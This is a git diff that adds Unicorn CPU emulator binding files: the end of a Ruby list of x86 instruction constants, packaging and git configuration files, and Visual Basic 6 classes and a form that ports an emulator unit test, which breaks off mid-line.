UC_X86_INS_VEXTRACTPS = 795 + UC_X86_INS_VFMADD132PD = 796 + UC_X86_INS_VFMADD132PS = 797 + UC_X86_INS_VFMADDPD = 798 + UC_X86_INS_VFMADD213PD = 799 + UC_X86_INS_VFMADD231PD = 800 + UC_X86_INS_VFMADDPS = 801 + UC_X86_INS_VFMADD213PS = 802 + UC_X86_INS_VFMADD231PS = 803 + UC_X86_INS_VFMADDSD = 804 + UC_X86_INS_VFMADD213SD = 805 + UC_X86_INS_VFMADD132SD = 806 + UC_X86_INS_VFMADD231SD = 807 + UC_X86_INS_VFMADDSS = 808 + UC_X86_INS_VFMADD213SS = 809 + UC_X86_INS_VFMADD132SS = 810 + UC_X86_INS_VFMADD231SS = 811 + UC_X86_INS_VFMADDSUB132PD = 812 + UC_X86_INS_VFMADDSUB132PS = 813 + UC_X86_INS_VFMADDSUBPD = 814 + UC_X86_INS_VFMADDSUB213PD = 815 + UC_X86_INS_VFMADDSUB231PD = 816 + UC_X86_INS_VFMADDSUBPS = 817 + UC_X86_INS_VFMADDSUB213PS = 818 + UC_X86_INS_VFMADDSUB231PS = 819 + UC_X86_INS_VFMSUB132PD = 820 + UC_X86_INS_VFMSUB132PS = 821 + UC_X86_INS_VFMSUBADD132PD = 822 + UC_X86_INS_VFMSUBADD132PS = 823 + UC_X86_INS_VFMSUBADDPD = 824 + UC_X86_INS_VFMSUBADD213PD = 825 + UC_X86_INS_VFMSUBADD231PD = 826 + UC_X86_INS_VFMSUBADDPS = 827 + UC_X86_INS_VFMSUBADD213PS = 828 + UC_X86_INS_VFMSUBADD231PS = 829 + UC_X86_INS_VFMSUBPD = 830 + UC_X86_INS_VFMSUB213PD = 831 + UC_X86_INS_VFMSUB231PD = 832 + UC_X86_INS_VFMSUBPS = 833 + UC_X86_INS_VFMSUB213PS = 834 + UC_X86_INS_VFMSUB231PS = 835 + UC_X86_INS_VFMSUBSD = 836 + UC_X86_INS_VFMSUB213SD = 837 + UC_X86_INS_VFMSUB132SD = 838 + UC_X86_INS_VFMSUB231SD = 839 + UC_X86_INS_VFMSUBSS = 840 + UC_X86_INS_VFMSUB213SS = 841 + UC_X86_INS_VFMSUB132SS = 842 + UC_X86_INS_VFMSUB231SS = 843 + UC_X86_INS_VFNMADD132PD = 844 + UC_X86_INS_VFNMADD132PS = 845 + UC_X86_INS_VFNMADDPD = 846 + UC_X86_INS_VFNMADD213PD = 847 + UC_X86_INS_VFNMADD231PD = 848 + UC_X86_INS_VFNMADDPS = 849 + UC_X86_INS_VFNMADD213PS = 850 + UC_X86_INS_VFNMADD231PS = 851 + UC_X86_INS_VFNMADDSD = 852 + UC_X86_INS_VFNMADD213SD = 853 + UC_X86_INS_VFNMADD132SD = 854 + UC_X86_INS_VFNMADD231SD = 855 + UC_X86_INS_VFNMADDSS = 856 + UC_X86_INS_VFNMADD213SS = 857 + UC_X86_INS_VFNMADD132SS = 858 + UC_X86_INS_VFNMADD231SS = 859 + UC_X86_INS_VFNMSUB132PD = 860 + UC_X86_INS_VFNMSUB132PS = 861 + UC_X86_INS_VFNMSUBPD = 862 + UC_X86_INS_VFNMSUB213PD = 863 + UC_X86_INS_VFNMSUB231PD = 864 + UC_X86_INS_VFNMSUBPS = 865 + UC_X86_INS_VFNMSUB213PS = 866 + UC_X86_INS_VFNMSUB231PS = 867 + UC_X86_INS_VFNMSUBSD = 868 + UC_X86_INS_VFNMSUB213SD = 869 + UC_X86_INS_VFNMSUB132SD = 870 + UC_X86_INS_VFNMSUB231SD = 871 + UC_X86_INS_VFNMSUBSS = 872 + UC_X86_INS_VFNMSUB213SS = 873 + UC_X86_INS_VFNMSUB132SS = 874 + UC_X86_INS_VFNMSUB231SS = 875 + UC_X86_INS_VFRCZPD = 876 + UC_X86_INS_VFRCZPS = 877 + UC_X86_INS_VFRCZSD = 878 + UC_X86_INS_VFRCZSS = 879 + UC_X86_INS_VORPD = 880 + UC_X86_INS_VORPS = 881 + UC_X86_INS_VXORPD = 882 + UC_X86_INS_VXORPS = 883 + UC_X86_INS_VGATHERDPD = 884 + UC_X86_INS_VGATHERDPS = 885 + UC_X86_INS_VGATHERPF0DPD = 886 + UC_X86_INS_VGATHERPF0DPS = 887 + UC_X86_INS_VGATHERPF0QPD = 888 + UC_X86_INS_VGATHERPF0QPS = 889 + UC_X86_INS_VGATHERPF1DPD = 890 + UC_X86_INS_VGATHERPF1DPS = 891 + UC_X86_INS_VGATHERPF1QPD = 892 + UC_X86_INS_VGATHERPF1QPS = 893 + UC_X86_INS_VGATHERQPD = 894 + UC_X86_INS_VGATHERQPS = 895 + UC_X86_INS_VHADDPD = 896 + UC_X86_INS_VHADDPS = 897 + UC_X86_INS_VHSUBPD = 898 + UC_X86_INS_VHSUBPS = 899 + UC_X86_INS_VINSERTF128 = 900 + UC_X86_INS_VINSERTF32X4 = 901 + UC_X86_INS_VINSERTF32X8 = 902 + UC_X86_INS_VINSERTF64X2 = 903 + UC_X86_INS_VINSERTF64X4 = 904 + UC_X86_INS_VINSERTI128 = 905 + UC_X86_INS_VINSERTI32X4 = 906 + UC_X86_INS_VINSERTI32X8 = 907 + UC_X86_INS_VINSERTI64X2 = 908 + UC_X86_INS_VINSERTI64X4 = 909 + UC_X86_INS_VINSERTPS = 910 + UC_X86_INS_VLDDQU = 911 + UC_X86_INS_VLDMXCSR = 912 + UC_X86_INS_VMASKMOVDQU = 913 + UC_X86_INS_VMASKMOVPD = 914 + UC_X86_INS_VMASKMOVPS = 915 + UC_X86_INS_VMAXPD = 916 + UC_X86_INS_VMAXPS = 917 + UC_X86_INS_VMAXSD = 918 + UC_X86_INS_VMAXSS = 919 + UC_X86_INS_VMCALL = 920 + UC_X86_INS_VMCLEAR = 921 + UC_X86_INS_VMFUNC = 922 + UC_X86_INS_VMINPD = 923 + UC_X86_INS_VMINPS = 924 + UC_X86_INS_VMINSD = 925 + UC_X86_INS_VMINSS = 926 + UC_X86_INS_VMLAUNCH = 927 + UC_X86_INS_VMLOAD = 928 + UC_X86_INS_VMMCALL = 929 + UC_X86_INS_VMOVQ = 930 + UC_X86_INS_VMOVDDUP = 931 + UC_X86_INS_VMOVD = 932 + UC_X86_INS_VMOVDQA32 = 933 + UC_X86_INS_VMOVDQA64 = 934 + UC_X86_INS_VMOVDQA = 935 + UC_X86_INS_VMOVDQU16 = 936 + UC_X86_INS_VMOVDQU32 = 937 + UC_X86_INS_VMOVDQU64 = 938 + UC_X86_INS_VMOVDQU8 = 939 + UC_X86_INS_VMOVDQU = 940 + UC_X86_INS_VMOVHLPS = 941 + UC_X86_INS_VMOVHPD = 942 + UC_X86_INS_VMOVHPS = 943 + UC_X86_INS_VMOVLHPS = 944 + UC_X86_INS_VMOVLPD = 945 + UC_X86_INS_VMOVLPS = 946 + UC_X86_INS_VMOVMSKPD = 947 + UC_X86_INS_VMOVMSKPS = 948 + UC_X86_INS_VMOVNTDQA = 949 + UC_X86_INS_VMOVNTDQ = 950 + UC_X86_INS_VMOVNTPD = 951 + UC_X86_INS_VMOVNTPS = 952 + UC_X86_INS_VMOVSD = 953 + UC_X86_INS_VMOVSHDUP = 954 + UC_X86_INS_VMOVSLDUP = 955 + UC_X86_INS_VMOVSS = 956 + UC_X86_INS_VMOVUPD = 957 + UC_X86_INS_VMOVUPS = 958 + UC_X86_INS_VMPSADBW = 959 + UC_X86_INS_VMPTRLD = 960 + UC_X86_INS_VMPTRST = 961 + UC_X86_INS_VMREAD = 962 + UC_X86_INS_VMRESUME = 963 + UC_X86_INS_VMRUN = 964 + UC_X86_INS_VMSAVE = 965 + UC_X86_INS_VMULPD = 966 + UC_X86_INS_VMULPS = 967 + UC_X86_INS_VMULSD = 968 + UC_X86_INS_VMULSS = 969 + UC_X86_INS_VMWRITE = 970 + UC_X86_INS_VMXOFF = 971 + UC_X86_INS_VMXON = 972 + UC_X86_INS_VPABSB = 973 + UC_X86_INS_VPABSD = 974 + UC_X86_INS_VPABSQ = 975 + UC_X86_INS_VPABSW = 976 + UC_X86_INS_VPACKSSDW = 977 + UC_X86_INS_VPACKSSWB = 978 + UC_X86_INS_VPACKUSDW = 979 + UC_X86_INS_VPACKUSWB = 980 + UC_X86_INS_VPADDB = 981 + UC_X86_INS_VPADDD = 982 + UC_X86_INS_VPADDQ = 983 + UC_X86_INS_VPADDSB = 984 + UC_X86_INS_VPADDSW = 985 + UC_X86_INS_VPADDUSB = 986 + UC_X86_INS_VPADDUSW = 987 + UC_X86_INS_VPADDW = 988 + UC_X86_INS_VPALIGNR = 989 + UC_X86_INS_VPANDD = 990 + UC_X86_INS_VPANDND = 991 + UC_X86_INS_VPANDNQ = 992 + UC_X86_INS_VPANDN = 993 + UC_X86_INS_VPANDQ = 994 + UC_X86_INS_VPAND = 995 + UC_X86_INS_VPAVGB = 996 + UC_X86_INS_VPAVGW = 997 + UC_X86_INS_VPBLENDD = 998 + UC_X86_INS_VPBLENDMB = 999 + UC_X86_INS_VPBLENDMD = 1000 + UC_X86_INS_VPBLENDMQ = 1001 + UC_X86_INS_VPBLENDMW = 1002 + UC_X86_INS_VPBLENDVB = 1003 + UC_X86_INS_VPBLENDW = 1004 + UC_X86_INS_VPBROADCASTB = 1005 + UC_X86_INS_VPBROADCASTD = 1006 + UC_X86_INS_VPBROADCASTMB2Q = 1007 + UC_X86_INS_VPBROADCASTMW2D = 1008 + UC_X86_INS_VPBROADCASTQ = 1009 + UC_X86_INS_VPBROADCASTW = 1010 + UC_X86_INS_VPCLMULQDQ = 1011 + UC_X86_INS_VPCMOV = 1012 + UC_X86_INS_VPCMPB = 1013 + UC_X86_INS_VPCMPD = 1014 + UC_X86_INS_VPCMPEQB = 1015 + UC_X86_INS_VPCMPEQD = 1016 + UC_X86_INS_VPCMPEQQ = 1017 + UC_X86_INS_VPCMPEQW = 1018 + UC_X86_INS_VPCMPESTRI = 1019 + UC_X86_INS_VPCMPESTRM = 1020 + UC_X86_INS_VPCMPGTB = 1021 + UC_X86_INS_VPCMPGTD = 1022 + UC_X86_INS_VPCMPGTQ = 1023 + UC_X86_INS_VPCMPGTW = 1024 + UC_X86_INS_VPCMPISTRI = 1025 + UC_X86_INS_VPCMPISTRM = 1026 + UC_X86_INS_VPCMPQ = 1027 + UC_X86_INS_VPCMPUB = 1028 + UC_X86_INS_VPCMPUD = 1029 + UC_X86_INS_VPCMPUQ = 1030 + UC_X86_INS_VPCMPUW = 1031 + UC_X86_INS_VPCMPW = 1032 + UC_X86_INS_VPCOMB = 1033 + UC_X86_INS_VPCOMD = 1034 + UC_X86_INS_VPCOMPRESSD = 1035 + UC_X86_INS_VPCOMPRESSQ = 1036 + UC_X86_INS_VPCOMQ = 1037 + UC_X86_INS_VPCOMUB = 1038 + UC_X86_INS_VPCOMUD = 1039 + UC_X86_INS_VPCOMUQ = 1040 + UC_X86_INS_VPCOMUW = 1041 + UC_X86_INS_VPCOMW = 1042 + UC_X86_INS_VPCONFLICTD = 1043 + UC_X86_INS_VPCONFLICTQ = 1044 + UC_X86_INS_VPERM2F128 = 1045 + UC_X86_INS_VPERM2I128 = 1046 + UC_X86_INS_VPERMD = 1047 + UC_X86_INS_VPERMI2D = 1048 + UC_X86_INS_VPERMI2PD = 1049 + UC_X86_INS_VPERMI2PS = 1050 + UC_X86_INS_VPERMI2Q = 1051 + UC_X86_INS_VPERMIL2PD = 1052 + UC_X86_INS_VPERMIL2PS = 1053 + UC_X86_INS_VPERMILPD = 1054 + UC_X86_INS_VPERMILPS = 1055 + UC_X86_INS_VPERMPD = 1056 + UC_X86_INS_VPERMPS = 1057 + UC_X86_INS_VPERMQ = 1058 + UC_X86_INS_VPERMT2D = 1059 + UC_X86_INS_VPERMT2PD = 1060 + UC_X86_INS_VPERMT2PS = 1061 + UC_X86_INS_VPERMT2Q = 1062 + UC_X86_INS_VPEXPANDD = 1063 + UC_X86_INS_VPEXPANDQ = 1064 + UC_X86_INS_VPEXTRB = 1065 + UC_X86_INS_VPEXTRD = 1066 + UC_X86_INS_VPEXTRQ = 1067 + UC_X86_INS_VPEXTRW = 1068 + UC_X86_INS_VPGATHERDD = 1069 + UC_X86_INS_VPGATHERDQ = 1070 + UC_X86_INS_VPGATHERQD = 1071 + UC_X86_INS_VPGATHERQQ = 1072 + UC_X86_INS_VPHADDBD = 1073 + UC_X86_INS_VPHADDBQ = 1074 + UC_X86_INS_VPHADDBW = 1075 + UC_X86_INS_VPHADDDQ = 1076 + UC_X86_INS_VPHADDD = 1077 + UC_X86_INS_VPHADDSW = 1078 + UC_X86_INS_VPHADDUBD = 1079 + UC_X86_INS_VPHADDUBQ = 1080 + UC_X86_INS_VPHADDUBW = 1081 + UC_X86_INS_VPHADDUDQ = 1082 + UC_X86_INS_VPHADDUWD = 1083 + UC_X86_INS_VPHADDUWQ = 1084 + UC_X86_INS_VPHADDWD = 1085 + UC_X86_INS_VPHADDWQ = 1086 + UC_X86_INS_VPHADDW = 1087 + UC_X86_INS_VPHMINPOSUW = 1088 + UC_X86_INS_VPHSUBBW = 1089 + UC_X86_INS_VPHSUBDQ = 1090 + UC_X86_INS_VPHSUBD = 1091 + UC_X86_INS_VPHSUBSW = 1092 + UC_X86_INS_VPHSUBWD = 1093 + UC_X86_INS_VPHSUBW = 1094 + UC_X86_INS_VPINSRB = 1095 + UC_X86_INS_VPINSRD = 1096 + UC_X86_INS_VPINSRQ = 1097 + UC_X86_INS_VPINSRW = 1098 + UC_X86_INS_VPLZCNTD = 1099 + UC_X86_INS_VPLZCNTQ = 1100 + UC_X86_INS_VPMACSDD = 1101 + UC_X86_INS_VPMACSDQH = 1102 + UC_X86_INS_VPMACSDQL = 1103 + UC_X86_INS_VPMACSSDD = 1104 + UC_X86_INS_VPMACSSDQH = 1105 + UC_X86_INS_VPMACSSDQL = 1106 + UC_X86_INS_VPMACSSWD = 1107 + UC_X86_INS_VPMACSSWW = 1108 + UC_X86_INS_VPMACSWD = 1109 + UC_X86_INS_VPMACSWW = 1110 + UC_X86_INS_VPMADCSSWD = 1111 + UC_X86_INS_VPMADCSWD = 1112 + UC_X86_INS_VPMADDUBSW = 1113 + UC_X86_INS_VPMADDWD = 1114 + UC_X86_INS_VPMASKMOVD = 1115 + UC_X86_INS_VPMASKMOVQ = 1116 + UC_X86_INS_VPMAXSB = 1117 + UC_X86_INS_VPMAXSD = 1118 + UC_X86_INS_VPMAXSQ = 1119 + UC_X86_INS_VPMAXSW = 1120 + UC_X86_INS_VPMAXUB = 1121 + UC_X86_INS_VPMAXUD = 1122 + UC_X86_INS_VPMAXUQ = 1123 + UC_X86_INS_VPMAXUW = 1124 + UC_X86_INS_VPMINSB = 1125 + UC_X86_INS_VPMINSD = 1126 + UC_X86_INS_VPMINSQ = 1127 + UC_X86_INS_VPMINSW = 1128 + UC_X86_INS_VPMINUB = 1129 + UC_X86_INS_VPMINUD = 1130 + UC_X86_INS_VPMINUQ = 1131 + UC_X86_INS_VPMINUW = 1132 + UC_X86_INS_VPMOVDB = 1133 + UC_X86_INS_VPMOVDW = 1134 + UC_X86_INS_VPMOVM2B = 1135 + UC_X86_INS_VPMOVM2D = 1136 + UC_X86_INS_VPMOVM2Q = 1137 + UC_X86_INS_VPMOVM2W = 1138 + UC_X86_INS_VPMOVMSKB = 1139 + UC_X86_INS_VPMOVQB = 1140 + UC_X86_INS_VPMOVQD = 1141 + UC_X86_INS_VPMOVQW = 1142 + UC_X86_INS_VPMOVSDB = 1143 + UC_X86_INS_VPMOVSDW = 1144 + UC_X86_INS_VPMOVSQB = 1145 + UC_X86_INS_VPMOVSQD = 1146 + UC_X86_INS_VPMOVSQW = 1147 + UC_X86_INS_VPMOVSXBD = 1148 + UC_X86_INS_VPMOVSXBQ = 1149 + UC_X86_INS_VPMOVSXBW = 1150 + UC_X86_INS_VPMOVSXDQ = 1151 + UC_X86_INS_VPMOVSXWD = 1152 + UC_X86_INS_VPMOVSXWQ = 1153 + UC_X86_INS_VPMOVUSDB = 1154 + UC_X86_INS_VPMOVUSDW = 1155 + UC_X86_INS_VPMOVUSQB = 1156 + UC_X86_INS_VPMOVUSQD = 1157 + UC_X86_INS_VPMOVUSQW = 1158 + UC_X86_INS_VPMOVZXBD = 1159 + UC_X86_INS_VPMOVZXBQ = 1160 + UC_X86_INS_VPMOVZXBW = 1161 + UC_X86_INS_VPMOVZXDQ = 1162 + UC_X86_INS_VPMOVZXWD = 1163 + UC_X86_INS_VPMOVZXWQ = 1164 + UC_X86_INS_VPMULDQ = 1165 + UC_X86_INS_VPMULHRSW = 1166 + UC_X86_INS_VPMULHUW = 1167 + UC_X86_INS_VPMULHW = 1168 + UC_X86_INS_VPMULLD = 1169 + UC_X86_INS_VPMULLQ = 1170 + UC_X86_INS_VPMULLW = 1171 + UC_X86_INS_VPMULUDQ = 1172 + UC_X86_INS_VPORD = 1173 + UC_X86_INS_VPORQ = 1174 + UC_X86_INS_VPOR = 1175 + UC_X86_INS_VPPERM = 1176 + UC_X86_INS_VPROTB = 1177 + UC_X86_INS_VPROTD = 1178 + UC_X86_INS_VPROTQ = 1179 + UC_X86_INS_VPROTW = 1180 + UC_X86_INS_VPSADBW = 1181 + UC_X86_INS_VPSCATTERDD = 1182 + UC_X86_INS_VPSCATTERDQ = 1183 + UC_X86_INS_VPSCATTERQD = 1184 + UC_X86_INS_VPSCATTERQQ = 1185 + UC_X86_INS_VPSHAB = 1186 + UC_X86_INS_VPSHAD = 1187 + UC_X86_INS_VPSHAQ = 1188 + UC_X86_INS_VPSHAW = 1189 + UC_X86_INS_VPSHLB = 1190 + UC_X86_INS_VPSHLD = 1191 + UC_X86_INS_VPSHLQ = 1192 + UC_X86_INS_VPSHLW = 1193 + UC_X86_INS_VPSHUFB = 1194 + UC_X86_INS_VPSHUFD = 1195 + UC_X86_INS_VPSHUFHW = 1196 + UC_X86_INS_VPSHUFLW = 1197 + UC_X86_INS_VPSIGNB = 1198 + UC_X86_INS_VPSIGND = 1199 + UC_X86_INS_VPSIGNW = 1200 + UC_X86_INS_VPSLLDQ = 1201 + UC_X86_INS_VPSLLD = 1202 + UC_X86_INS_VPSLLQ = 1203 + UC_X86_INS_VPSLLVD = 1204 + UC_X86_INS_VPSLLVQ = 1205 + UC_X86_INS_VPSLLW = 1206 + UC_X86_INS_VPSRAD = 1207 + UC_X86_INS_VPSRAQ = 1208 + UC_X86_INS_VPSRAVD = 1209 + UC_X86_INS_VPSRAVQ = 1210 + UC_X86_INS_VPSRAW = 1211 + UC_X86_INS_VPSRLDQ = 1212 + UC_X86_INS_VPSRLD = 1213 + UC_X86_INS_VPSRLQ = 1214 + UC_X86_INS_VPSRLVD = 1215 + UC_X86_INS_VPSRLVQ = 1216 + UC_X86_INS_VPSRLW = 1217 + UC_X86_INS_VPSUBB = 1218 + UC_X86_INS_VPSUBD = 1219 + UC_X86_INS_VPSUBQ = 1220 + UC_X86_INS_VPSUBSB = 1221 + UC_X86_INS_VPSUBSW = 1222 + UC_X86_INS_VPSUBUSB = 1223 + UC_X86_INS_VPSUBUSW = 1224 + UC_X86_INS_VPSUBW = 1225 + UC_X86_INS_VPTESTMD = 1226 + UC_X86_INS_VPTESTMQ = 1227 + UC_X86_INS_VPTESTNMD = 1228 + UC_X86_INS_VPTESTNMQ = 1229 + UC_X86_INS_VPTEST = 1230 + UC_X86_INS_VPUNPCKHBW = 1231 + UC_X86_INS_VPUNPCKHDQ = 1232 + UC_X86_INS_VPUNPCKHQDQ = 1233 + UC_X86_INS_VPUNPCKHWD = 1234 + UC_X86_INS_VPUNPCKLBW = 1235 + UC_X86_INS_VPUNPCKLDQ = 1236 + UC_X86_INS_VPUNPCKLQDQ = 1237 + UC_X86_INS_VPUNPCKLWD = 1238 + UC_X86_INS_VPXORD = 1239 + UC_X86_INS_VPXORQ = 1240 + UC_X86_INS_VPXOR = 1241 + UC_X86_INS_VRCP14PD = 1242 + UC_X86_INS_VRCP14PS = 1243 + UC_X86_INS_VRCP14SD = 1244 + UC_X86_INS_VRCP14SS = 1245 + UC_X86_INS_VRCP28PD = 1246 + UC_X86_INS_VRCP28PS = 1247 + UC_X86_INS_VRCP28SD = 1248 + UC_X86_INS_VRCP28SS = 1249 + UC_X86_INS_VRCPPS = 1250 + UC_X86_INS_VRCPSS = 1251 + UC_X86_INS_VRNDSCALEPD = 1252 + UC_X86_INS_VRNDSCALEPS = 1253 + UC_X86_INS_VRNDSCALESD = 1254 + UC_X86_INS_VRNDSCALESS = 1255 + UC_X86_INS_VROUNDPD = 1256 + UC_X86_INS_VROUNDPS = 1257 + UC_X86_INS_VROUNDSD = 1258 + UC_X86_INS_VROUNDSS = 1259 + UC_X86_INS_VRSQRT14PD = 1260 + UC_X86_INS_VRSQRT14PS = 1261 + UC_X86_INS_VRSQRT14SD = 1262 + UC_X86_INS_VRSQRT14SS = 1263 + UC_X86_INS_VRSQRT28PD = 1264 + UC_X86_INS_VRSQRT28PS = 1265 + UC_X86_INS_VRSQRT28SD = 1266 + UC_X86_INS_VRSQRT28SS = 1267 + UC_X86_INS_VRSQRTPS = 1268 + UC_X86_INS_VRSQRTSS = 1269 + UC_X86_INS_VSCATTERDPD = 1270 + UC_X86_INS_VSCATTERDPS = 1271 + UC_X86_INS_VSCATTERPF0DPD = 1272 + UC_X86_INS_VSCATTERPF0DPS = 1273 + UC_X86_INS_VSCATTERPF0QPD = 1274 + UC_X86_INS_VSCATTERPF0QPS = 1275 + UC_X86_INS_VSCATTERPF1DPD = 1276 + UC_X86_INS_VSCATTERPF1DPS = 1277 + UC_X86_INS_VSCATTERPF1QPD = 1278 + UC_X86_INS_VSCATTERPF1QPS = 1279 + UC_X86_INS_VSCATTERQPD = 1280 + UC_X86_INS_VSCATTERQPS = 1281 + UC_X86_INS_VSHUFPD = 1282 + UC_X86_INS_VSHUFPS = 1283 + UC_X86_INS_VSQRTPD = 1284 + UC_X86_INS_VSQRTPS = 1285 + UC_X86_INS_VSQRTSD = 1286 + UC_X86_INS_VSQRTSS = 1287 + UC_X86_INS_VSTMXCSR = 1288 + UC_X86_INS_VSUBPD = 1289 + UC_X86_INS_VSUBPS = 1290 + UC_X86_INS_VSUBSD = 1291 + UC_X86_INS_VSUBSS = 1292 + UC_X86_INS_VTESTPD = 1293 + UC_X86_INS_VTESTPS = 1294 + UC_X86_INS_VUNPCKHPD = 1295 + UC_X86_INS_VUNPCKHPS = 1296 + UC_X86_INS_VUNPCKLPD = 1297 + UC_X86_INS_VUNPCKLPS = 1298 + UC_X86_INS_VZEROALL = 1299 + UC_X86_INS_VZEROUPPER = 1300 + UC_X86_INS_WAIT = 1301 + UC_X86_INS_WBINVD = 1302 + UC_X86_INS_WRFSBASE = 1303 + UC_X86_INS_WRGSBASE = 1304 + UC_X86_INS_WRMSR = 1305 + UC_X86_INS_XABORT = 1306 + UC_X86_INS_XACQUIRE = 1307 + UC_X86_INS_XBEGIN = 1308 + UC_X86_INS_XCHG = 1309 + UC_X86_INS_XCRYPTCBC = 1310 + UC_X86_INS_XCRYPTCFB = 1311 + UC_X86_INS_XCRYPTCTR = 1312 + UC_X86_INS_XCRYPTECB = 1313 + UC_X86_INS_XCRYPTOFB = 1314 + UC_X86_INS_XEND = 1315 + UC_X86_INS_XGETBV = 1316 + UC_X86_INS_XLATB = 1317 + UC_X86_INS_XRELEASE = 1318 + UC_X86_INS_XRSTOR = 1319 + UC_X86_INS_XRSTOR64 = 1320 + UC_X86_INS_XRSTORS = 1321 + UC_X86_INS_XRSTORS64 = 1322 + UC_X86_INS_XSAVE = 1323 + UC_X86_INS_XSAVE64 = 1324 + UC_X86_INS_XSAVEC = 1325 + UC_X86_INS_XSAVEC64 = 1326 + UC_X86_INS_XSAVEOPT = 1327 + UC_X86_INS_XSAVEOPT64 = 1328 + UC_X86_INS_XSAVES = 1329 + UC_X86_INS_XSAVES64 = 1330 + UC_X86_INS_XSETBV = 1331 + UC_X86_INS_XSHA1 = 1332 + UC_X86_INS_XSHA256 = 1333 + UC_X86_INS_XSTORE = 1334 + UC_X86_INS_XTEST = 1335 + UC_X86_INS_FDISI8087_NOP = 1336 + UC_X86_INS_FENI8087_NOP = 1337 + UC_X86_INS_ENDING = 1338 +end \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/pkg/.gitignore b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/pkg/.gitignore new file mode 100644 index 0000000..b7e7725 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/pkg/.gitignore @@ -0,0 +1,10 @@ +/.bundle/ +/.yardoc +/Gemfile.lock +/_yardoc/ +/coverage/ +/doc/ +/pkg/ +/spec/reports/ +/tmp/ +*.gem diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/unicorn-engine.gemspec b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/unicorn-engine.gemspec new file mode 100644 index 0000000..3c91c48 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/unicorn-engine.gemspec @@ -0,0 +1,21 @@ +# coding: utf-8 +lib = File.expand_path('../lib', __FILE__) +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 'unicorn_engine/version' + +Gem::Specification.new do |spec| + spec.name = "unicorn-engine" + spec.version = Unicorn::VERSION + spec.authors = ["Sascha Schirra"] + spec.email = ["sashs@scoding.de"] + spec.license = 'GPL-2.0' + spec.summary = %q{Ruby binding for Unicorn-Engine} + spec.description = %q{Ruby binding for Unicorn-Engine <unicorn-engine.org>} + spec.homepage = "https://unicorn-engine.org" + + spec.files = Dir["lib/unicorn_engine/*.rb"] + Dir["ext/unicorn.c"] + Dir["ext/unicorn.h"] + Dir["ext/types.h"] + Dir["ext/extconf.rb"] + spec.require_paths = ["lib","ext"] + spec.extensions = ["ext/extconf.rb"] + spec.add_development_dependency "bundler", "~> 1.11" + spec.add_development_dependency "rake", "~> 10.0" +end diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/.gitattributes b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/.gitattributes new file mode 100644 index 0000000..6101291 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/.gitattributes @@ -0,0 +1,11 @@ +*.frm eol=crlf +*.bas eol=crlf +*.cls eol=crlf +*.ctl eol=crlf +*.vbp eol=crlf +*.txt eol=crlf +*.cpp eol=crlf +*.tli eol=crlf +*.tlh eol=crlf +*.vcproj eol=crlf +*.sln eol=crlf diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/CMemRegion.cls b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/CMemRegion.cls new file mode 100644 index 0000000..bb2085f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/CMemRegion.cls @@ -0,0 +1,50 @@ +VERSION 1.0 CLASS +BEGIN + MultiUse = -1 'True + Persistable = 0 'NotPersistable + DataBindingBehavior = 0 'vbNone + DataSourceBehavior = 0 'vbNone + MTSTransactionMode = 0 'NotAnMTSObject +END +Attribute VB_Name = "CMemRegion" +Attribute VB_GlobalNameSpace = False +Attribute VB_Creatable = True +Attribute VB_PredeclaredId = False +Attribute VB_Exposed = False +'this is for 32bit address space.. +Public address As Long +Public size As Long +Public endsAt As Long +Public perm As Long + +Function toString() As String + toString = "Addr: " & Hex(address) & " Size: " & Hex(size) & " Perm: " & permToString() & " (" & Hex(perm) & ")" +End Function + +'Public Enum uc_prot +' UC_PROT_NONE = 0 +' UC_PROT_READ = 1 +' UC_PROT_WRITE = 2 +' UC_PROT_EXEC = 4 +' UC_PROT_ALL = 7 +'End Enum + +Function permToString() As String + + If perm = 7 Then + permToString = "All" + Exit Function + End If + + If perm = 0 Then + permToString = "None" + Exit Function + End If + + If (perm And 1) = 1 Then permToString = "Read " + If (perm And 2) = 2 Then permToString = permToString & "Write " + If (perm And 4) = 4 Then permToString = permToString & "Exec" + + permToString = Trim(permToString) + +End Function diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/Form1.frm b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/Form1.frm new file mode 100644 index 0000000..d3fa033 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/Form1.frm @@ -0,0 +1,256 @@ +VERSION 5.00 +Begin VB.Form Form1 + Caption = "Form1" + ClientHeight = 6720 + ClientLeft = 60 + ClientTop = 345 + ClientWidth = 14220 + LinkTopic = "Form1" + ScaleHeight = 6720 + ScaleWidth = 14220 + StartUpPosition = 2 'CenterScreen + Begin VB.CommandButton Command1 + Caption = "Copy" + Height = 465 + Left = 6180 + TabIndex = 1 + Top = 6150 + Width = 1995 + End + Begin VB.ListBox List1 + BeginProperty Font + Name = "Courier New" + Size = 11.25 + Charset = 0 + Weight = 400 + Underline = 0 'False + Italic = 0 'False + Strikethrough = 0 'False + EndProperty + Height = 5925 + Left = 150 + TabIndex = 0 + Top = 120 + Width = 13965 + End +End +Attribute VB_Name = "Form1" +Attribute VB_GlobalNameSpace = False +Attribute VB_Creatable = False +Attribute VB_PredeclaredId = True +Attribute VB_Exposed = False +Option Explicit + +'Contributed by: FireEye FLARE team +'Author: David Zimmer <david.zimmer@fireeye.com>, <dzzie@yahoo.com> +'License: Apache + +Public WithEvents uc As ucIntel32 +Attribute uc.VB_VarHelpID = -1 +Dim hContext As Long + + +'test sample ported from: (requires unicorn 1.0 for success) +' https://github.com/unicorn-engine/unicorn/blob/master/tests/unit/test_pc_change.c +' https://github.com/unicorn-engine/unicorn/issues/210 + +Private Sub Form_Load() + + Dim ecx As Long, edx As Long + Dim address As Long, size As Long, endAt As Long + Dim b() As Byte, c 